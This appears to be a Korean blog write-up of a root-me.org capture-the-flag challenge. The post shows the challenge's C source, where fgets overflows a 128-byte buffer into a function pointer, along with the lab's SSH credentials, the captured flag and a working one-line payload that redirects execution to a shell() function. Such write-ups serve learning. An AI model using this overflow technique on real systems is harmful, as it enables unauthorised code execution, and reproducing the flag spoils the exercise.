ii4gsp

root-me.org [APP-System] ELF x86 - Stack buffer overflow basic 2 본문

시스템 해킹/root-me.org [APP - System]

root-me.org [APP-System] ELF x86 - Stack buffer overflow basic 2

ii4gsp 2020. 2. 3. 23:43
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
void shell() {
    setreuid(geteuid(), geteuid());
    system("/bin/bash");
}
 
void sup() {
    printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}
 
void main()
{
    int var;
    void (*func)()=sup;
    char buf[128];
    fgets(buf,133,stdin);
    func();
}

fgets()함수에서 취약점이 발생한다.

 

 

 

 

ssh -p 2222 app-systeme-ch15@challenge02.root-me.org

password: app-systeme-ch15

ssh서버에 접속해주자.

 

 

 

 

buf 128byte를 채우고 shell()함수의 주소를 (*func)() 함수 포인터에 덮어씌우면 쉘이 실행된다.

shell()함수의 주소는 0x8048516이다.

 

 

 

 

password: B33rlsSoG0oD4y0urBr4iN

 

payload

(python -c 'print "\x90" * 128 + "\x16\x85\x04\x08"';cat) | ./ch15
Comments